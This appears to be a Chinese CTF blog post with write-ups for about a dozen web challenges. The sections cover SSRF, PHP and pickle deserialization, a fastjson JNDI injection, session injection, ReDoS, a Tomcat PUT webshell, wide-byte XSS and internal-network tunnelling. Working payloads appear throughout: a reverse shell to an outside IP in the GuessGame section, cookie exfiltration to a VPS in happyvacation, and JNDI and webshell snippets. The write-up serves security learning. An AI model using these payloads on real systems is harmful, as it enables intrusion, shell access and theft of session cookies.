各校大佬锤爆我Orz
easy_trick_gzmtu
查看源码<!--?time=Y或者?time=2020-->
提示了date('Y')=2020
,而在date()
中,可以通过\
转义字符防止被解释
于是在每个字符前加一个\
,简单回显注即可
然后通过file://localhost/
进行SSRF读取本地文件
flag无法直接读,通过file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
获得一段源码
1 | <?php |
在正则中界定符是/n
, 会把输入当成多行。而这个$
会匹配换行符, preg_match()
+strpos()
可以直接用%0a
绕过calc()
里面则是可以用!!'@'
来拼凑,直接取反也可
1 | <?php |
payload:?pass=aa.passwd%0A20200202&code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToififIz8jJycrIziciO30%3D
hardphp
webct
这题没拿下源码,看wp来写的
先是test_sql.php
1 | <?php |
用于连接远程数据库
接着看到Db类
1 | class Db |
可以看到用了select 1;
来测试远程数据库是否开启,这里自然就想到用rogue mysql server
来读取服务器文件
1 | <?php |
再看到上传文件处,跟着进入到几个相关联的类
1 | class File |
这里看到Listfile
类中有__call()
,可以通过控制file
属性来执行任意命令
1 | class Listfile |
而Fileupload
类中的__destruct()
将file
属性设为Listfile
类后即可触发
1 | function __destruct() |
既然能上传文件,又有反序列化,那就可以用到phar了
不过这里需要有能够触发phar的位置,这里还是要看xzs师傅的骚操作
Phar与Stream Wrapper造成PHP RCE的深入挖掘
通过MYSQL的LOAD DATA LOCAL INFILE
触发
1 | <?php |
生成文件后上传
Rogue-MySql-Server
修改读取的文件为phar://./uploads/hash/test.jpg
然后访问伪造数据库即可
webtmp
题目源码
1 | import base64 |
这题主要参考这篇文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
先一这题为例子分析一下pickle反序列化
1 | import pickle |
输出
1 | b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.' |
\x80
读到这个操作符后,机器继续往下读取一个字符也就是\x03
\x03
是使用的序列化协议版本,pickle一共有0、2、3、4号版本协议,默认为3号,\x03
就是使用3号协议。同时协议是向前兼容的,0号协议无论几号协议都是能够解析的c
是GLOBAL
操作符,用于引入模块。机器读到后会继续读取两个连续的字符串module
和name
,以\n
分隔,然后放入栈中。这里引入的是__main__.Animal
q\x00
没查到是什么,看起来是来分隔命令的)
往栈里压入一个一个空元组\x81
将栈顶的空元组弹出作为args
,然后再将栈顶的class
弹出记为cls
,然后进行实例化再压入栈。也就是将__main__.Animal
实例化
此时实例化的Animal
里面是空的
继续分析
}
往栈压入一个空字典(
是MARK
操作符,将当前栈作为一个list压入前序栈,然后清空当前栈(这里的当前栈和前序栈文章里有说)X
读入一个二进制字符串,以q\x0x
结尾。执行了四个X
后,当前栈由底到顶就是name kotori category umi
u
将当前栈的数据pop到空数组arr
中,执行后arr=['name','kotori','category','umi']
。然后回到MARK
前的状态,也就是当前栈中存有Animal
和一个空字典。最后两个为一组键值对读取arr
存入空字典中,此时空字典dict={'name':'kotori','category':'umi'}
b
将栈顶元素存入state
,然后弹掉,也就是将dict
存入state
。然后再将栈顶元素存入inst
,弹掉,也就是将Animal
存入inst
。然后用state
更新对象inst
,也就是给实例化的空对象填入内容.
弹出反序列化后的对象,结束反序列化
这里在用state
更新对象inst
处有安全问题
1 | def load_build(self): |
看到pickle源码的load_build()
可以看到当inst
(实例化的类)中有__setstate__
属性时,这会执行setstate()
,并以state
的值的参数。也就是说,如果能控制__setstate__
属性的属性值为系统函数,并且state
为可控的,就能够执行任意命令
文章中给出这么一个操作,设置state={'__setstate__':'os.system'}
,然后BUILD
后实例化中的类就有了__setstate__
属性。然后将ls /
压入栈,再进行一次BUILD
。此时state='ls /'
,而inst
中也有__setstate__
属性,值为os.system
。这样就会执行setstate(state)
,也就是os.system(’ls /’)
,读取了根目录
不过这个和下面解这题的内容没太大关系,只是我一开始没理解这里记录一下而已。不过这个方法解这题应该也是可行的
1 | @app.route('/', methods=['GET', 'POST']) |
这题看/
部分,需要反序列化后的结果和用密钥对实例化的结果相同才给flag
文章中说到的__reduce_
执行任意函数需要指令码R
,而这题中过滤掉了
1 | if b'R' in base64.b64decode(pickle_data): |
同时由于find_class()
被重写,只能够由__main__
引入,直接指向secret
中的值是不可能了
1 | class RestrictedUnpickler(pickle.Unpickler): |
这里利用文章中的另一种方式,篡改module
虽然只能由__main__
引入,但import进来的secret
也是属于__main__
的。于是可以通过c
指令给secret
中的属性赋值
这里由于原题给出的源码不太好复现,就改了一下
1 | # -*- coding:utf8 -*- |
先序列化一个正常的Animal
1 | import pickle |
\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.
secret
和Animal
差不多,改个名,把)
和\x81
去掉即可
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub.
接着BUILD
指令后接上POP
指令,将sercet
弹出,防止反序列化结束时有多个实例导致出错
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0.
然后接上去掉\x80\x03
的Animal
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.
这里发现好像q\x0x
并不要求每次增1
1 | import pickle |
测试一下
1 | 0: \x80 PROTO 3 |
没问题
于是base64加密放入
1 | if __name__ == '__main__': |
结果成功覆盖
hackme
www.zip
获得源码
init.php
中设置了session的序列化类型
1 | <?php |
猜测是session反序列化漏洞
而在profile.php
中找到了不同的序列方式
1 | <?php |
同时可以看到,当admin为1是,跳转/core/index.php
中
/core/index.php
中
1 | <?php |
会对session进行检查
1 | <?php |
同时也是使用php方式的序列化
1 | function check_session($session) |
check_session()
检查session中需要有一个值为数组,且数组中为admin的键的值为1
然后再去到upload_sign.php
1 | <?php |
这里将POST得到的sign放入session中,可以利用这里注入session
于是构造一个符合条件的sign值|a:1:{s:5:"admin";i:1;}sign|s:4:"xxxx";}
这里将第一个键值设为数组,且里面只有一个admin的键值对,这样就可以通过check_session()
设置完访问一次/profile.php
再去访问/core/index.php
,获得源码
1 | require_once('./init.php'); |
Hitcon的题,不过需要想办法绕过前面的
一开始还想通过访问profile.php
,设置sign值来执行命令,但发现并不能携带cookie。gopher协议也是因为file_get_contents()
无法urldecode
无法携带cookie。卡了很久后大佬提供了一个绕过方式compress.zlib://data:@127.0.0.1/plain;base64,
我的SSRF太菜了Orz,这里记一下
协议被过滤可以尝试使用compress.bzip2://
或compress.zlib://
搭载在其它协议的前面进行绕过
于是上脚本getshell得到flag
1 | # -*-coding:utf8-*- |
baby_java
Java题莫得环境只能列点了
首先是一个XXE,能打拿到使用的依赖
1 | Method%uFF1A post |
这里利用fastjson(<=1.2.61)的JNDI注入漏洞
{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://ip:port/Exploit"}
这样进行利用即可,这里由于过滤了type,用\x74ype
代替。prefix的过滤则是利用fastjson中parseField函数会去掉字符串中的-
和开头的_
,于是添加一个-
或者_
即可绕过
由于有commons collections3.1
,直接远程开个JRMP弹shell即可
1 | <dependency> |
为了本地复现这个漏洞前前后后整spring框架这些整了快一个星期,最后还是因为高版本 Java中会被trustURLCodebase
拦截,最终复现失败Orz
不过java小白这里还是记一下JRMP的弹shell方式
将编译好的恶意class放到tomcat的/webapps/ROOT/WEB-INF/classes/
目录下,classes目录要自己创建
1 | public class Exploit { |
然后web.xml
中配置class的访问路径(这里的.class
可能是不需要的)
1 | <servlet> |
然后下载marshalsec
使用maven安装mvn clean package -DskipTests
装完后就可以启用rmi或者ladp服务,然后让目标机访问即可
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099 |
fmkq
进入是源码
1 | <?php |
过滤了各种协议,head
的值需要连接curl_init
后不影响函数执行,同时output
的输出值只会为int型需要绕过
通过fuzz发现\
不会影响,好像是命名空间的原因,所有内置函数都于根目录下sprintf()
可以通过extract()
对begin
进行变量覆盖为%s%
,使后面的%d
无效,output
以string型输出
搞定这两个后一直在找怎么绕过,但好像并没用什么绕过的好方法。没想到这题又是要扫内网
扫端口可以发现8080端口能够使用
当为vip时可以读取任意文件,非vip则只能读取/tmp/
目录下的文件。这里{file}
提示的是python的格式化字符串漏洞了
1 | class a: |
一个简单的小栗子
输出为:hello a and b
这里由于通过format()
对c注入了对象a,于是{}
中的c.a
和c.b
就是对象a中的属性a和b
这题中后端注入的是file,但不知道里面有什么,于是用{file.__dict__}
遍历对象{'vipcode':'0','file':,'vip':}
然后再{file.vip.__dict__}
遍历一下vip{'truevipcode':'JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy'}
获得真vip的vipcode值
?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
扫根目录,得知flag在fl4g_1s_h3re_u_wi11_rua
目录下但无法读取
于是拿一下源码,读到readfile.py
1 | current_folder_file = [] |
可以看到这里filepath
又用了一次格式字符串,注入的self.file
为文件名,而过滤的是路径中的fl4g
要读取的路径是/fl4g_1s_h3re_u_wi11_rua/flag
,self.file
的值就为flag,于是取self.file[0]
得到f接在路径上,这样就能绕过fl4g的检查
于是payload:?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
我觉得应该是这样,但看大佬的payload是{vipfile.file[0]}
,但vipfile
不是本身就是文件名了吗?
还有一种方式是取读到全局变量current_folder_file
/{vipfile.__class__.__init__.__globals__[current_folder_file] [21]}/flag
由于路径错误出错,current_folder_file
值依旧是扫根目录的文件名集。fl4g_1s_h3re_u_wi11_rua
为第22个文件,于是就能读到/fl4g_1s_h3re_u_wi11_rua/flag
dooog
这题是模拟了一个kerberos认证,了解kerberos认证做起来会快一些
kerberos认证原理—讲的非常细致,易懂
这题的问题出在这里
1 | if int(time.time()) - data['timestamp'] < 60: |
这里限制timestamp
未超时时,cmd只能为whoamin
和ls
。但却没有对超时进行判断,那只需要在超时后再发出请求即可执行命令
于是看整一个kerberos认证流程
1 | def register(): |
现先向KDC发送username
和master_key
,KDC端会保存username
和master_key
1 | def TGT_vender(): |
KDC使用master_key
解密发送过去的authenticator
,并用username
对客户端进行认证。然后使用master_key
加密session_key
,再用SECRET_KEY
加密username
、session_key
、timestamp
作为TGT
,然后将TGT
和session_key_enc
发送回客户端。此时客户端可以用自己的master_key
解密session_key_enc
得到session_key
,此后使用session_key
来加密数据,TGT
则作为认证
1 | def Ticket_vender(): |
服务器端会接收username
、authenticator
、TGT
和cmd
,然后用SECRET_KEY
解密TGT
得到username
、session_key
、timestamp
,再用session_key
解密authenticator
,然后进行认证。最后将cmd
发送到cmd_server
执行
整个过程我们需要先获取本地生成的master_key
,然后在访问KDC后获取session_key_enc
、TGT
,并使用master_key
解密session_key_enc
得到session_key
。最后在authenticator
中设置一个超时时间,再用session_key
加密,然后带上其它数据发送给服务器端即可执行命令
nweb
这题主要考的是渗透
截注册接口的包,将type
修改为110注册账号,登录即可进入flag.php
flag.php
处的搜索框可以盲注,双写绕过select
和from
过滤,能d得到flag的大部分
然后再通过盲注拿下admin的账号密码admin whoamiadmin
,登录admin.php
(通过扫目录可以扫到)
登入后可以扫描数据库,于是rogue mysql server
一波读flag.php
源码得到flag剩余部分
GuessGame
/static/app.js
给了源码
1 | function log(userInfo) { |
先看到log()
中使用了merge()
,这里可以进行原型链污染,于是看哪里用到了log()
1 | app.post("/", function(req, res) { |
在/
处找到,又是toUpperCase()
,用ı
进行绕过即可。接着找要污染的地方
1 | app.post("/verifyFlag", function(req, res) { |
看到/verifyFlag
处,在判断config.enableReg
,noDos(regExp)
后对flag进行了正则匹配,虽然没回显但只有这个地方与flag有关。
于是找到config
1 | var config = { |
发现enableReg
被注释了,那应该就是要污染这里了
于是{"user":{"username": "admın666","__proto__": {"enableReg": true}}}
污染之后就能通过config.enableReg
的判断
但这里就算有否匹配成功结果都是一样的,实际上这里的noDos()
在提示我们使用ReDOS攻击
ReDOS初探
ReDOS攻击简单来说就是通过构造正则表达式,使其无法迅速处理导致延时甚至DOS
这题可以用这个表达式^(?=.{0}g)((.*)*)*!$
来一位一位跑出结果
1 | #!/usr/bin/env python |
本地测试延时大概是2s,再套一个就跑不出来了
像^(?=g)((.*)*)*!$
这样也可以
除了ReDOS,还可以直接利用ejs-rce
,直接弹shell。由于这题使用的是alpine,不能直接bash弹shell,这里记一下V&N大佬们的payload{"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc 106.14.15.50 1234 > /tmp/fa ');var __tmp2"}}}
PHP-UAF
和GYCTF那个差不多,就是换了个脚本phpinfo()
可以看到版本的7.4.2,一堆disable_functions
,JSON UAF使用不了
exploits/php7-backtrace-bypass/exploit.php
但同个仓库下有新版本的能用,当时没细看血亏,改个命令就能用
可惜了清华大佬还想我们调试
sqlcheckin
给了源码
1 | <?php |
标准的PDO预处理错误用法,真正的随便注
万能密码即可username=admin'--+&password=
不过wp给出了一种挺有趣的绕过方式username=admin'and(1-&password=)-'
生成的语句是SELECT username from users where username='admin'and(1-' and password=')-''
通过单引包括的为字符串,int型减去字符型以开头的数字为准,这里就是1-0-0
。于是最终的查询就是SELECT username from users where username='admin'and(1)
nothardweb
分析源码,可以看到目标是要将username设置为admin
1 | <?php |
这里是一个des-cbc
加密,我们能够得到加密后的结果
1 | <?php |
再通过user.php
我们可以获得明文,由于没有给iv应该不是要CBC翻转,那就想办法去搞到key和iv了
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
而key是通过mt_rand()
与运算生成,之前在hgame也说过有除了爆破的方法去获得mt_rand()
的种子
无需暴破还原mt_rand()种子
具体原理看链接,简而言之就是可以通过生成的随机数R0与R227,以及R0前生成的随机数个数,获得种子
脚本来源:mt_rand-reverse
测试一下
1 | <?php |
结果:
21822616
1260657684
而题目给了用户的uid表相差也是227,而且提示我们是229名用户
uid可能是用户的key或者mt_seed()结果,都试一下就行了
这里除了这样,由于知道了明文和密文且iv不变,可以拿密文的第一段作为iv,然后去爆破密文第二段,解出为明文第二段则是key。然后再用key去解iv即可
还有一种做法是,由于没有检查SESSIONID
是否存在,直接置为空,就没有key和iv,直接空加密即可
登录为admin后,hint.php
中提示
1 | I left a shell in 10.10.1.12/index.php |
而且可以看到hint.php
的源码为
1 | <?php |
这里是一个小trick,这里可以传入1
?cc=`$cc`;cmd
截取后为1
`$cc`;
通过eval执行得到$cc
的值,就能突破长度执行命令(但我本地并没测试成功,是环境的问题?)
之后wp上给的是用soap进行内网渗透,不过直接通过服务器shell用curl打过去把shell打回来不就行了?
打回shell会在根目录发现hint,又提示了另一台主机10.10.2.13
这里可以利用earthworm进行流量转发,让我们能直接访问10.10.2.13
ew-tunnel
自己公网的服务器上./ew_for_linux -s rcsocks -l 12345 -e 1234
内网的跳板机上./ew_for_linux -s rssocks -d vps_ip -e 1234
然后主机上SOCKS代理设置为vps_ip:12345
就可以直接访问到内网的10.10.2.13
至于earthworm脚本去github上搜吧,怕被查水表
进去后是tomcat界面,是CVE-2017-12615
的洞(好像又出了个2020的CVE)
CVE-2017-12615
可以通过PUT请求像服务器任意写文件
于是搞一个jsp的马,上传至/1.jsp/
1 | <% |
然后10.10.2.13/1.jsp?pwd=023&i=cmd
来执行命令即可
easyweb
不知道原题干了啥,这里记录一下考点的东西
首先是java的SSRF
JAVA中可以使用netdoc协议,读取目录
像netdoc:///var/www/html/
这样就可以读取到网站根目录的文件
第二个是高版本jdk攻击rmi registry
baby_java也说到了,高版本的jdk由于trustURLCodebase
限制无法加载远程库。这里利用Commons Collections 3.1
的漏洞(实际上baby_java也是,不过之前没注意到),可以绕过这个限制去加载远程库
具体分析看这里
Java入坑:Apache-Commons-Collections-3.1 反序列化漏洞分析
不同版本的jdk最后的部分也不一样,用ysoserial生成exp即可
happyvacation
这题没拿到源码,没想到XSS的题也是搞源码,有个.git泄露
CSP限制了只能为同源脚本,但允许内联js,同时交互处有上次文件的地方(不过我好像没看到),绕过方式就很明显了,通过上传脚本引入即可
1 | function __construct(){ |
虽然上传做了一些过滤,但通过script并不要求要js后缀,随便一个后缀都可以
绕CSP是个小问题,难搞的是message
处的过滤
1 | if(isset($user)){ |
1 | class User{ |
使用了addslashes()
对message
进行了处理,这样就没办法直接用’或”绕出了。这里是第一次知道可以用宽字节来绕过,只要在头部设置Content-Type: text/html; charset=GBK;
,就可以和sql一样%df
绕过
于是寻找一下可以利用的地方
1 | function go(){ |
UrlHelper类中go()
可以控制header()
,但pre
的值被定为Location:
要想办法修改
1 | function __construct(){ |
在quit.php
处有个answer
参数
1 | if(isset($_GET['answer'])){ |
跟进到answer()
1 | class Asker{ |
这里使用了clone
关键字复制了一份user
,当回答错误时通过eval()
将选项去除,问题就出在这里
php中clone
这个关键字的有一个类似于原型链安全问题,只不过原型链是由上影响下,而clone
的问题是由下影响上
通过clone
这个关键字可以将一个变量直接赋值给另一个变量,某些情况下可以提高代码效率。但当原变量为一个类,而其中一个属性又为另一个类。当克隆变量修改了另一个类中的属性值时,就会导致原变量中,另一个类中的属性值也改变。简单的写一个例子
1 | <?php |
这里的输出是222999999
,变量a中属性a中属性b的值随着变量b的修改也改变了
回到题目上,pre
是user类的url属性指向的类中的一个属性。于是就可以通过修改$this->user->url->pre
的值,将$user->url->pre
的值修改。将answer
设为user->url->pre
即可,这样就$user->url->pre = False
,而False
连接任意字符串都为其本身
然后就是控制location
通过传入referer
修改一次referer
,再传入referer
就可以将值赋给location
1 | if(isset($_GET['answer'])){ |
于是先修改一波referer
quit.php?referer=xxx
然后污染header
quit.php?referer=Content-Type:text/html;charset=GBK;Referer:index&answer=user->url->pre
污染后就可以进行宽字节XSS,先上传一个脚本window.open('http://vps:port/?'+document.cookie);
message
中其它的过滤用String.fromCharCode()
绕过,script引入脚本index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116);var c = String.fromCharCode(49,46,119,97,118,101);x=document.createElement(b);x.src=c;document.body.appendChild(x);//
vps接到cookie后登上管理员账号,访问teacher.php
算出md5提交即可得到flag
还有另一种简单的方法就是直接覆盖掉black_list
,就可以直接上传shell了